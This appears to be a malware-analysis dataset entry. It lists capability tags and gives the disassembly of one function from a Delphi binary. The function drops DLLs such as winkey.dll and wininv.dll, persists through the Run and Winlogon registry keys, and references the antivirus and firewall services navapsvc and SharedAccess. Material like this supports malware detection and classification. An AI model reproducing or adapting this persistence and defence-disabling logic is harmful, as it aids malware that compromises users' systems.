Function at 0x40ee34
Capabilities:
Contain obfuscated stackstrings
Get common file path
Persist via run registry key
Persist via winlogon helper dll registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd28
push ebx
push esi
push edi
mov eax, 0x5c5844
call fcn.00496b84
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x2f4]
xor edx, edx
call fcn.0047051c
push 0x3ea
call sub.KERNEL32.DLL_Sleep
mov word [ebp - 0xb8], 8
push 0x104
lea ecx, [ebp - 0x1d4]
push ecx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0xb8], 0x14
lea eax, [ebp - 0x30]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bcfed
lea eax, [ebp - 0x2c]
call fcn.004a448c
inc dword [ebp - 0xac]
lea edx, [ebp - 0x2c]
push edx
lea edx, [ebp - 0x1d4]
lea eax, [ebp - 0x28]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
lea eax, [ebp - 0x30]
call fcn.00401ae4
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5d5504], eax
dec dword [ebp - 0xac]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004a4630
cmp dword [0x5d5504], 0
je 0x40ef5e
push 0x5bcff9
push dword [0x5d5504]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0xcc], eax
mov word [ebp - 0xb8], 0x20
call dword [ebp - 0xcc]
mov word [ebp - 0xb8], 8
jmp 0x40ef5e
mov word [ebp - 0xb8], 0
jmp 0x40ef77
push 0x104
lea ecx, [ebp - 0x2d8]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0xb8], 0x38
lea eax, [ebp - 4]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bd004
lea eax, [ebp - 0x38]
call fcn.004a448c
inc dword [ebp - 0xac]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x34]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x44
lea eax, [ebp - 8]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bd01b
lea eax, [ebp - 0x40]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x3c]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x50
lea eax, [ebp - 0xc]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str.mps.atm
lea eax, [ebp - 0x48]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x44]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x5c
lea eax, [ebp - 0x10]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str.kdd32.atm
lea eax, [ebp - 0x50]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x4c]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x68
lea eax, [ebp - 0x14]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str._refresh
lea eax, [ebp - 0x58]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x54]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x74
lea eax, [ebp - 0x18]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str._system32winkey.dll
lea eax, [ebp - 0x60]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x5c]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x80
lea eax, [ebp - 0x1c]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwinkey.dll
lea eax, [ebp - 0x68]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x64]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x8c
lea eax, [ebp - 0x20]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str._system32wininv.dll
lea eax, [ebp - 0x70]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x6c]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x98
lea eax, [ebp - 0x24]
call fcn.00401ab4
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwininv.dll
lea eax, [ebp - 0x78]
call fcn.004a448c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x78]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x74]
call fcn.004a448c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4688
dec dword [ebp - 0xac]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
mov eax, dword [sym.Project1.exe__Form1]
mov eax, dword [eax + 0x36c]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x370]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x374]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x378]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x380]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x384]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x388]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x38c]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x344]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x390]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x398]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x39c]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x3a4]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x3a8]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x3c4]
call fcn.004a4400
mov eax, dword [ebp - 4]
call fcn.004a4400
mov eax, dword [ebp - 8]
call fcn.004a4400
mov eax, dword [ebp - 0xc]
call fcn.004a4400
mov eax, dword [ebp - 0x10]
call fcn.004a4400
mov eax, dword [ebp - 0x14]
call fcn.004a4400
mov eax, dword [ebp - 0x18]
call fcn.004a4400
mov eax, dword [ebp - 0x1c]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x344]
call fcn.004a4400
mov eax, dword [ebp - 0x20]
call fcn.004a4400
mov eax, dword [ebp - 0x24]
call fcn.004a4400
mov edx, dword [sym.Project1.exe__Form1]
mov eax, dword [edx + 0x3c0]
call fcn.004a4400
mov dl, 1
mov eax, dword [0x450fb8]
call fcn.004510b8
mov dword [ebp - 0xd0], eax
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a43f8
mov word [ebp - 0xb8], 0xa4
mov word [ebp - 0xb8], 0xb0
mov word [ebp - 0xb8], 0xbc
mov edx, 0x5bd09d
lea eax, [ebp - 0x7c]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.004513c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xa4
jmp 0x40f5ba
mov eax, dword [ebp - 0xd0]
call fcn.00451128
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a43f8
mov word [ebp - 0xb8], 0xc8
mov word [ebp - 0xb8], 0xd4
mov edx, 0x5bd0f7
lea eax, [ebp - 0x80]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.0045129c
dec dword [ebp - 0xac]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xe0
mov edx, 0x5bd138
lea eax, [ebp - 0x84]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451538
dec dword [ebp - 0xac]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xa4
jmp 0x40f677
mov eax, dword [ebp - 0xd0]
call fcn.00451128
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a43f8
mov word [ebp - 0xb8], 0xec
mov word [ebp - 0xb8], 0xf8
mov edx, 0x5bd157
lea eax, [ebp - 0x88]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.0045129c
dec dword [ebp - 0xac]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.004a4630
mov edx, 0x5bd194
lea eax, [ebp - 0x90]
call fcn.004a448c
inc dword [ebp - 0xac]
push dword [eax]
mov word [ebp - 0xb8], 0x104
mov edx, 0x5bd18e
lea eax, [ebp - 0x8c]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
pop ecx
call fcn.004517c8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xa4
jmp 0x40f769
mov eax, dword [ebp - 0xd0]
call fcn.00451128
mov edx, reloc.WSOCK32.DLL_accept
mov eax, dword [ebp - 0xd0]
call fcn.004a43f8
mov word [ebp - 0xb8], 0x110
mov word [ebp - 0xb8], 0x11c
mov edx, str.SOFTWAREMicrosoftWindows_NT_Script_HostMicrosoft_DxDiag
lea eax, [ebp - 0x94]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.004513c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xa4
jmp 0x40f7e8
mov word [ebp - 0xb8], 0x128
mov word [ebp - 0xb8], 0x134
mov edx, str.SOFTWAREMicrosoft_DirectX
lea eax, [ebp - 0x98]
call fcn.004a448c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.004513c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0xa4
jmp 0x40f84c
mov eax, dword [ebp - 0xd0]
call fcn.00451128
mov word [ebp - 0xb8], 0x2c
jmp 0x40f870
mov word [ebp - 0xb8], 0x140
mov word [ebp - 0xb8], 0x14c
mov edx, 0x5bd1f7
lea eax, [ebp - 0x9c]
call fcn.004a448c
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040e924
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.004a4630
mov word [ebp - 0xb8], 0x2c
jmp 0x40f8cf
push 0x80
mov word [ebp - 0xb8], 0x158
lea eax, [ebp - 0xa0]
call fcn.00401ab4
mov edx, eax
inc dword [ebp - 0xac]
mov ecx, dword [0x5d4c98]
mov eax, dword [ecx]
call fcn.0046ea08
lea eax, [ebp - 0xa0]
call fcn.00401ae4
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.004a4630
call fcn.00406864
test al, al
je 0x40f987
mov word [ebp - 0xb8], 0x164
push str.navapsvc
call fcn.0040856c
pop ecx
mov word [ebp - 0xb8], 0x2c
jmp 0x40f95a
mov word [ebp - 0xb8], 0x170
push str.SharedAccess
call fcn.0040856c
pop ecx
mov word [ebp - 0xb8], 0x2c
jmp 0x40f987
mov word [ebp - 0xb8], 0x17c
call fcn.0040ed34
mov word [ebp - 0xb8], 0x2c
jmp 0x40f9ae
mov word [ebp - 0xb8], 0x188
mov edx, 0x5bd20e
lea eax, [ebp - 0xa4]
call fcn.004a448c
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040d72c
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4630
dec dword [ebp - 0xac]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4630
mov ecx, dword [ebp - 0xc8]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret